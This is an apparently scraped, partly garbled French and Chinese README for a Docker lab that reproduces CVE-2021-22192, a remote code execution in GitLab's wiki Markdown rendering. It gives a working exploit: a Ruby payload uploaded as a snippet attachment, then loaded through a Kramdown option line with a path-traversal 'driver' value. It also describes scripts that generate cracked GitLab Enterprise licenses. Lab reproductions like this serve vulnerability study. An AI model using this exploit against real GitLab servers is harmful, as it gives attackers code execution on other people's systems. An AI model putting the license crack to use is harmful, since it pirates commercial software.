
Laboratoire CVE-2021-22192 : vulnérabilité RCE pour utilisateur non autorisé
Lab CVE-2021-22192 : vulnérabilité RCE pour utilisateur non authentifié
CVE-2021-22192
├── README.md ............... [此 README 说明]
├── imgs .................... [辅助 README 说明的图片]
├── gitlab .................. [Gitlab 容器的挂载目录]
│ ├── Dockerfile .......... [Gitlab 的 Docker 构建文件]
│ ├── config .............. [Gitlab 配置挂载目录]
│ ├── data ................ [Gitlab 数据挂载目录]
│ ├── logs ................ [Gitlab 日志挂载目录]
│ ├── keys ................ [Gitlab 破解 License 存储目录]
│ └── nginx ............... [Gitlab 内置 nginx 配置目录(备份配置,勿改)]
├── runner .................. [Gitlab 容器的挂载目录]
├── license ................. [破解 License 的容器构建目录]
│ ├── Dockerfile .......... [License 的 Docker 构建文件]
│ └── license.rb .......... [生成破解 License 的 Ruby 脚本]
├── test .................... [Kramdown 调试目录]
├── docker-compose.yml ...... [Docker 的构建配置]
├── keygen.ps1 .............. [Windows: 一键生成破解 License]
├── keygen.sh ............... [Linux: 一键生成破解 License]
├── run.ps1 ................. [Windows: 一键运行 Gitlab 靶场]
├── run.sh .................. [Linux: 一键运行 Gitlab 靶场]
├── register.ps1 ............ [Windows: 一键注册 Runner]
├── register.sh ............. [Linux: 一键注册 Runner]
├── stop.ps1 ................ [Windows: 一键停止 Gitlab 靶场]
└── stop.sh ................. [Linux: 一键停止 Gitlab 靶场]
./keygen.sh ou ./keygen.ps1./run.sh ou ./run.ps1Lors de la génération de la paire de clés de crack, la clé publique a déjà été écrite dans le conteneur Gitlab. Il reste à téléverser la clé privée via l'interface web pour terminer le crack :
./gitlab/keys/ ; copiez le contenu de .gitlab-license (la clé privée)Enter license key, collez la clé privée, puis cliquez sur le bouton Upload license pour terminer le crack
./register.sh $TOKEN ou ./register.ps1 $TOKENDès lors, tous les dépôts peuvent utiliser ce Runner pour exécuter des scripts CI (Pipeline Jobs)

Supposons que votre nom d'utilisateur Gitlab soit ${username} et le nom du dépôt ${repository_name}. Une fois que le dépôt a été construit avec succès en SSG via jekyll, il suffit d'accéder à l'URL suivante :
http://127.0.0.1:8000/${username}/${repository_name}/public/
Pour le détail du processus, voir hackerone.
+ -> New snippet en hautTitle comme vous voulez, cliquez sur le champ Description (optional), puis cliquez sur Attach a file et téléversez un fichier nommé payload.rb avec le contenu suivant :puts "hello from ruby"
`echo exp was here > /tmp/exp`
À ce moment, le lien du fichier s'affiche dans Description (optional), par exemple : [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb), et le fichier a déjà été téléversé dans le conteneur docker_gitlab à /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb. (Quant à Create snippet, vous pouvez cliquer ou non ; il suffit de retenir le Hash du chemin du fichier)
Attention : ne passez pas par
Snippet -> New snippetdans la barre latérale gauche d'un dépôt, sinon le chemin du fichier affiché deviendra[payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/b5e4fed771f26ef75700ebf763f489ab/payload.rb)et en réalité le fichier sera téléversé dans le conteneur docker_gitlab vers/var/opt/gitlab/gitlab-rails/uploads/@hash/随机字符串/payload.rb; comme il y a une chaîne aléatoire au milieu, c'est difficilement exploitable.
+ New Project en haut, nommez-le comme vous voulez (par exemple poc, ou ne le créez pas et utilisez un dépôt existant)Wiki à gauche, puis sur Create your first pageTitle et Content comme vous voulez, puis cliquez sur Create pagepoc, nommé poc.wiki (cliquez sur Clone repository en haut à droite pour trouver la commande de clonage : git clone http://127.0.0.1/root/poc.wiki.git).git clone http://127.0.0.1/root/poc.wiki.git && cd poc.wiki pour télécharger le dépôt wiki en local{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~
git add -A . && git commit -m "page1.rmd" && git pushpage1 créée localement apparaît dans l'index de droite, cliquez dessus/tmp/exp a bien été crééAprès avoir cliqué sur la page
page1.rmd, vous pouvez en réalité voir le message d'erreur dansgitlab/logs/gitlab-rails/exceptions_json.log, mais cela n'empêche pas la commande d'avoir été exécutée :
{
"severity": "ERROR",
"time": "2021-04-26T10:36:07.978Z",
"correlation_id": "A24bByUP9L5",
"tags.correlation_id": "A24bByUP9L5",
"tags.locale": "en",
"user.id": 1,
"user.email": "[email protected]",
"user.username": "root",
"extra.project_id": 1,
"extra.file_name": "page1.rmd",
"exception.class": "NameError",
"exception.message": "wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb",
"exception.backtrace": [
"lib/gitlab/other_markup.rb:11:in `render'",
"app/helpers/markup_helper.rb:274:in `other_markup_unsafe'",
"app/helpers/markup_helper.rb:153:in `markup_unsafe'",
"app/helpers/markup_helper.rb:138:in `render_wiki_content'",
"app/views/shared/wikis/show.html.haml:25",
"app/controllers/application_controller.rb:134:in `render'",
"app/controllers/concerns/wiki_actions.rb:68:in `show'",
"ee/lib/gitlab/ip_address_state.rb:10:in `with'",
"ee/app/controllers/ee/application_controller.rb:44:in `set_current_ip_address'",
"app/controllers/application_controller.rb:491:in `set_current_admin'",
"lib/gitlab/session.rb:11:in `with_session'",
"app/controllers/application_controller.rb:482:in `set_session_storage'",
"app/controllers/application_controller.rb:476:in `set_locale'",
"lib/gitlab/error_tracking.rb:50:in `with_context'",
"app/controllers/application_controller.rb:541:in `sentry_context'",
"app/controllers/application_controller.rb:469:in `block in set_current_context'",
"lib/gitlab/application_context.rb:52:in `block in use'",
"lib/gitlab/application_context.rb:52:in `use'",
"lib/gitlab/application_context.rb:20:in `with_context'",
"app/controllers/application_controller.rb:462:in `set_current_context'",
"ee/lib/gitlab/jira/middleware.rb:19:in `call'"
]
}
page1.rmd